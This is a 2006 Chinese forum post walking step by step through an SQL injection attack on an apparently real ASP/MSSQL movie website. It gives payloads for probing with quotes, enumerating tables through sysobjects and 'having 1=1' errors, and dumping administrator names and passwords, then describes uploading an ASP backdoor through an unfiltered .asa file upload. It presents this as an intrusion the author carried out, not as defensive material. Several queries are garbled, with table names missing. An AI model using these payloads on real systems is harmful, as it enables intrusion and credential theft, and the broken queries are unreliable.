SQL注入的新技巧
<P id=date>来源: 一孔涂鸦 发布时间:2006-06-19</P><DIV id=content> <SPAN&NBSP;STYLE="FONT-SIZE:&NBSP;9PT">表名和字段名的获得<BR><BR>适用情况:<BR><BR>1)数据库是MSSQL<BR><BR>2)连接数据库的只是普通用户<BR><BR>3)不知道ASP源代码 <BR>
<P>可以进行的攻击<BR><BR>1)对数据内容进行添加,查看,更改</P><BR>
<P>实例:<BR><BR>本文件以</P><BR>
<P>为列进行测试攻击。</P><BR>
<P><STRONG>第一步:</STRONG><BR><BR>在输入用户名处输入单引号,显示<BR><BR>Microsoft OLE DB Provider for SQL Server 错误 80040e14 <BR><BR>字符串 之前有未闭合的引号。 </P><BR>
<P>/user/wantpws.asp,行63 </P><BR>
<P>说明没有过滤单引号且数据库是MSSQL.</P><BR>
<P><STRONG>第二步:<BR><BR></STRONG>输入a;use master;--<BR><BR>显示<BR><BR>Microsoft OLE DB Provider for SQL Server 错误 80040e21 多步LE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。 </P><BR>
<P>/user/wantpws.asp,行63 <BR><BR>这样说明没有权限了。</P><BR>
<P><STRONG>第三步:</STRONG><BR><BR>输入:a or name like fff%;--<BR><BR>显示有一个叫ffff的用户哈。</P><BR>
<P><STRONG>第四步:</STRONG><BR><BR>在用户名处输入<BR><BR>ffff and 1<>(select count(email) from );--<BR><BR>显示:<BR><BR>Microsoft OLE DB Provider for SQL Server 错误 80040e37 <BR><BR>对象名 user 无效。 </P><BR>
<P>/user/wantpws.asp,行96 </P><BR>
<P>说明没有叫user的表,换成users试试成功,同时说明有一个叫email的列.<BR><BR>输入a having 1=1--<BR><BR>一般返回如下也就可以直接得到表名和一个字段名了<BR><BR>Microsoft OLE DB Provider for SQL Server 错误 80040e14 <BR><BR>列 users.ID 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。 </P><BR>
<P>/user/wantpws.asp,行63 </P><BR>
<P>现在我们知道了ffff用户的密码是111111.</P><BR>
<P>下面通过语句得到数据库中的所有表名和字段名。</P><BR>
<P><STRONG>第五步:</STRONG><BR><BR>输入:<BR><BR>ffff;update set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--<BR><BR>说明:<BR><BR>上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。<BR><BR>通过查看ffff的用户资料可得第一个用表叫ad然后根据表名ad得到这个表的IDffff;update set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--<BR><BR>同上可知id是:581577110由于对象标志id是根据由小到大排列的所以我们可以得到所有的用户表的名字了象下面这样就可以得到第二个表的名字了ffff;update set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--</P><BR>
<P>ad 581577110<BR><BR>users 597577167<BR><BR>buy 613577224<BR><BR>car 629577281<BR><BR>learning 645577338<BR><BR>log 661577395<BR><BR>movie 677577452<BR><BR>movieurl 693577509<BR><BR>password 709577566<BR><BR>type 725577623<BR><BR>talk</P><BR>
<P>经过一段时间的猜测后我们得到上面的分析一下应该明白password,users是最得要的</P><BR>
<P><STRONG>第六步:猜重要表的字段</STRONG><BR><BR>输入:<BR><BR>现在就看看users表有哪些字段<BR><BR>ffff;update set email=(select top 1 col_name(object_id(users),3) from users) where name=ffff;--<BR><BR>得到第三个字段是password<BR><BR>ffff;update set email=(select top 1 col_name(object_id(users),4) from users) where name=ffff;--<BR><BR>得到第四个字段是name<BR><BR>最后users表的字段共28个全得到了<BR><BR>(注:另一个得到字段的办法,前提是系统的返回出错信息<BR><BR>a group by ID having 1=1--<BR><BR>得到<BR><BR>Microsoft OLE DB Provider for SQL Server 错误 80040e14 <BR><BR>列 users.userid 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 </P><BR>
<P>/user/wantpws.asp,行63 <BR><BR>这个第二个字段就是userid<BR><BR>显示第三个字段。 <BR><BR>a group by id,userid having 1=1--</P><BR>
<P>Microsoft OLE DB Provider for SQL Server 错误 80040e14 <BR><BR>列 users.password 在选择列表中无效,因为该列既不包含在聚合函数中,也不包含在 GROUP BY 子句中。 </P><BR>
<P>/user/wantpws.asp,行63 <BR><BR>得到是password<BR><BR>同理,一直显示出所有。:)<BR><BR>)</P><BR>
<P>users表<BR><BR>1 2 3 4<BR><BR>id userid password name</P><BR>
<P>5 6 7 8 9 10 11 12 13 14 15 16<BR><BR>Province homeaddress city adress starlook sex email nlook nos date money send</P><BR>
<P>17 18 19 20 21 22 23 24 25 26 27 28<BR><BR>oklook dnlook lasthits phone askmejoin getmoney payno logintime mflag state post note</P><BR>
<P>starlook--12 10 2003 2:41PM<BR><BR>nlook---0<BR><BR>nos---2 登陆次数<BR><BR>date--12 10 2003 12:00AM 注册时间?<BR><BR>money--同上<BR><BR>send--空<BR><BR>oklook--0<BR><BR>dnlook--0<BR><BR>getmoney--0<BR><BR>state--0<BR><BR>note--这家伙很。。。 说明</P><BR>
<P>password表<BR><BR>1 2 3<BR><BR>id name pwd</P><BR>
<P>然后我又试ad原来是用来记录广告击点的。。<BR><BR>然后又试password表得到有name和pwd字段。<BR><BR>执行<BR><BR>ffff;update set email=(select top 1 name from password) where name=ffff;--<BR><BR>可得第一个用户名是admin123看样儿多半是管理员了。<BR><BR>然后又得到了密码是dy***dick188还是打星号算了哈哈...</P><BR>
<P>这样我们就完全进入了这个电影网站的后台了哈哈。<BR><BR><A href="http://www.dy/" target=_blank>http://www.dy</A>***.com/login.asp</P><BR>
<P>再进一步还可以知道管理员一共有三人密码也都能看到了。<BR><BR>ffff;update set email=(select top 1 count(id) from password) where name=ffff;--<BR><BR>ffff;update set email=(select top 1 pwd from password where id=2) where name=ffff;--</P><BR>
<P>ffff;update set email=(select top 1 name from password where id=2) where name=ffff;--</P><BR>
<P>只是能免费看电影好象还不够哈..我看了看它的后台管理原来在添加电影的地方对于上传的图片没有过滤.asa的文件,这样我就能上传一个asp后门并执行 </P><BR>
<P> </P></DIV></SPAN&NBSP;STYLE="FONT-SIZE:&NBSP;9PT">
re:SQL注入的新技巧
<P>真正的爱情是不分地域和文化的,呵呵。祝福他们!</P>
页:
[1]